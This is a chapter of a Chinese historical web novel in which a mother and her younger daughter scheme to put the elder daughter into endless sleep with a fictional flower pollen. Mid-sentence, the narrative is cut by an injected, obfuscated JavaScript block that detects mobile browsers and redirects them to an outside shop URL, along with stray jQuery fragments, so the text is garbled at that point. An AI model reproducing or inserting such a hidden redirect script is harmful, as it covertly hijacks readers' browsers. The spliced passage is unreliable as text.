“小姐这些日子拿回了大半的银子,反正也不亏了。月白想想已够知足了。
在庄子上她们只想着能吃饱肚子,哪里敢想能从陈德容的手里拿回这么多银子。
“触底会反弹。”姜屿宁却没有放轻松,“这两日看好云水院和姜璟月的动向,她们栽了这么大的跟头不会坐以待毙。
她清楚她母亲的脾性,说到底她也是为了利益,为了她手上的银子,为了她的掌家权。
如今失去了儿子,赔光了银子,掌家权也不再独管,对陈德容而言已经是天塌了。
换言之,她是陈德容,这时候也一定会做出反击。
“明白。”月白应下。。
“对了,给提起阿梨的那两个人银子了吗?”姜屿宁又问。
“给了,她们不会乱说。”
姜屿宁这才放心去了净房,梳洗过上了榻。
但云水院却灯火通明。
姜璟月跪在陈德容的房间外面,声音带着哭腔,“娘,是月儿的错,我不该骗娘……”
“可月儿只是想要娘多疼爱我几分,我只是怕娘不喜欢我才一时做了糊涂事……我真的知道错了。”
“娘若是不原谅我,打我骂我都好,只是不要不理我……”
陈德容在屋里抬着头往外看,听见姜璟月的忏悔,怒气已经消了一大半。
眼中多了几分担心,冷硬的青石板会让她本就受伤的腿更疼。
“小姐,不能再跪了,你的腿出血了!”柳叶担心的大喊。
陈德容再也坐不住,直接冲了出去。
“月儿……快扶二小姐进屋!”
姜璟月又哭又笑,“娘,你不生我的气了吧?”
“傻孩子,娘怎么会真的生你的气,只是伤心……”陈德容心疼的看着姜璟月渗血的膝盖,“你要是需要银子和娘直说便是,没有必要骗娘……”
“是我听了姐姐说大哥二哥在香料铺子拿了好几万两银子才一时猪油蒙了心,不知怎地就和娘多要了一万两……”姜璟月一副后悔莫及的样子。
“你是说姜屿宁故意挑拨离间?”陈德容目光一暗,怪不得她这么听话的月儿会突然做出这种事。
“想想姐姐定是故意的,姐姐定是嫉妒娘对我比对她好,所以才……”姜璟月吸吸鼻子。
“这个死丫头从回来就搅得我们没过一天安稳日子。”陈德容怨恨道。
“娘,姐姐闹得我们家宅不宁,我不想娘再被姐姐气坏身体。”姜璟月趁热打铁。
“你有办法让她消停?”陈德容忍了太久了。
“我被抓进大理寺的时候听见陆云那个小白脸给一位世家夫人出对付府里貌美妾室的主意。”姜璟月那时竖起耳朵听了几句。
本觉得陆云不过是个以色侍人的男宠,但没想到是个坏主意还不少的小人。
怪不得能得到大长公主的宠爱。
“什么主意?”陈德容来了兴趣。
“听他说,城东住着一家哑婆婆,擅长经营花卉。有种叫做绮梦的花,女人只要闻了过量的绮梦花粉就会陷入昏睡,沉浸在梦中无法醒来。”姜璟月小声道。
“只对女人有用?”陈德容在后宅多年,也用过不少手段,但这么神奇的花还从未听过。
“是,正是因为如此才很难让人怀疑。”
“这样再好不过,你姐姐也该好好休息休息。”陈德容几乎立刻下了决定。
不管如何,姜屿宁毕竟是她拼命生出来的,真要动手杀了她不被世俗所容。
只要她一直昏睡,再也不会有人和她作对了!
先把绮梦花弄来,找个合适的机会让姜屿宁永远听话。
姜璟月见陈德容听了进去,不禁露出一个满意的笑容。
她绝不会让姜屿宁压过她一头!
“但香料铺子的事情……”陈德容又有担心。
“娘,有我在,我一定会让香料铺子比以前更好。”姜璟月一口揽下。
“万不能再有差错了。”陈德容语气严肃几分。
“娘,我一定会将今日损失挣回来。”姜璟月决不能将香料铺子交换给姜屿宁,不然正中他的下怀。
姜屿宁之前那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056478|194885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么痛把香料铺子交出来说不定就是等着故意看她的笑话。
想让她放手,不可能!
次日清晨,姜屿宁去寿安院给祖母请安。
她前脚刚到,沈氏便到了。
身穿一身素衣,脸销售了一些,但眼睛还算有神。
“你这孩子,不是说了让你好好养胎,不用过来给我请安。”祖母立刻让崔嬷嬷去扶沈氏。
这些日子府中的人都很可怜沈氏,连带着陈德容一直给沈氏送补品,似是将对姜云铮的疼爱都转移到了沈氏的身上。
日子比从前过的舒服自在。
“祖母,屋里太闷,我想给你请安,顺便过来透透气。”沈氏说完看了一眼姜屿宁。
姜屿宁心思一动,想来沈氏是有话和她说。
“祖母最疼宁儿了,眼看成亲的日子近了,能不能向祖母讨要一件祖母的陪嫁之物给孙女压箱底?”姜屿宁抬头冲祖母做小女儿一般撒娇道。
她想借此支开祖母一会儿,也是讨个增福的彩头,东西是什么不重要。
“应该的,不过我的陪嫁有些年头了。”祖母看一眼崔嬷嬷,“和我进去好好找找,看给宁儿添个什么合适。”
随即,前厅只剩下姜屿宁和沈氏她们两个的人。
“宁儿,昨日我听闻香料铺子的事情气坏了母亲,我便想着该做个样子想去看看她,可是却听见了母亲和月儿妹妹在一起说话,隐约提到了什么花。”沈氏找不到机会出院子。
身边照顾她的人增加不少,若是被发现她和姜屿宁有交往,说不定会惹上麻烦。
“我感觉她们两个可能是要害你,我进去的时候看她们两个表情不对。”沈氏想了一个晚上,心中着实难安。
“花……”姜屿宁喃喃一句,脑中忽然想到一个人的脸。
莫不会她的手能伸进姜家了……
姜璟月抢上惯了,说不定会被人利用。
天云宫的事情看来还没有让她长记性。
“大嫂,可还听到什么了?”姜屿宁追问。
沈氏小心看看周边。